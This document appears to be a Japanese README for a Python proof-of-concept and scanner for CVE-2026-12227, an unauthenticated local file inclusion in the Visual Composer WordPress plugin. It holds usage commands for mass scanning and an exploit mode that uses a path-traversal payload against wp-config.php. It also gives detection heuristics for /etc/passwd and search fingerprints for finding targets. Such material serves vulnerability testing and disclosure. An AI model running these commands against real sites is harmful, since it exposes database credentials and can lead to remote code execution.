
CVE-2026-12227(WordPress Visual Composer Website Builder の vcv-template パラメータを介した非認証のローカルファイルインクルージョン)に対応する Python 3 の PoC およびスキャナー。
CVE-2026-12227 (Wordfence) の Python 3 PoC: Visual Composer Website Builder(wordpress.org 上の visualcomposer)における vcv-template クエリパラメータを介した ローカルファイルインクルージョン。
| プラットフォーム | WordPress プラグイン |
| コンポーネント | Visual Composer Website Builder |
| 影響を受けるバージョン | ≤ 45.16.0 |
| 修正バージョン | > 45.16.0 (WP Trac 3619572) — 最新の安定版(例: 45.16.3+)を使用してください |
| CVSS | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 認証 | 未認証 |
| CWE | CWE-98 |
| 対象外 | WPBakery (js_composer) または SAP NetWeaver Visual Composer |
脆弱なバージョンでは、公開ページの読み込み時に、PageTemplatesController 内の WordPress template_include 処理中に、攻撃者が制御する vcv-template(および vcv-template-type)が尊重されます。これにより、攻撃者が選択したディスク上のファイルをインクルードできる可能性があり、PHP ファイルは実行される可能性があります(RCE)。Wordfence は、一部の環境でアップロードされた「安全な」拡張子との連鎖について言及しています。
?vcv-template-type=vc&vcv-template=blank または vcv-template 配下の LFI パス。vcv-template-type、vcv-template-stretched。pip install -r requirements.txt
Python 3.8+。
# Version + plugin + VC page crawl + template/LFI probes
python poc.py -u https://target.example --mode check
# Known VC landing page
python poc.py -u https://target.example --mode check --page-url /
# Mass scan
python poc.py --list targets.example.txt --mode check --threads 25 --quiet
# Custom include path (authorized testing only)
python poc.py -u https://target.example --mode exploit --page-url / --file ../../../../../../wp-config.php
# JSON for scripting
python poc.py -u https://target.example --mode check --json
| ファイル | 意味 |
|---|---|
cve_2026_12227_results.jsonl | ターゲットごとの完全な JSON |
hits.txt | 候補ホスト名 |
candidates.jsonl | チェックモードのサマリー(page_url、status、lfi) |
| ステータス | 意味 |
|---|---|
lfi_confirmed | レスポンスが wp-config / /etc/passwd / version.php のヒューリスティックに一致 |
vcv_template_controllable | vcv-template=blank がベースラインと比較してレイアウトを変更(脆弱なパラメータが尊重されている) |
plugin_vuln_no_surface | 古いプラグインバージョンだが、VC ページがない、またはパラメータが無視される |
no_vc_page | プラグインは存在するが、クロールされたパスに VC マーカーがない |
patched | バージョン > 45.16.0 |
body="/wp-content/plugins/visualcomposer/"
body="data-vcv-" && body="wp-content"
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php(getCurrentTemplateLayout、viewPageTemplate)。exploitable_candidate として扱います。RCE と断定する前に、ステージングクローンで確認してください。所有しているシステム、またはテストの明示的な許可を得たシステムでのみ使用してください。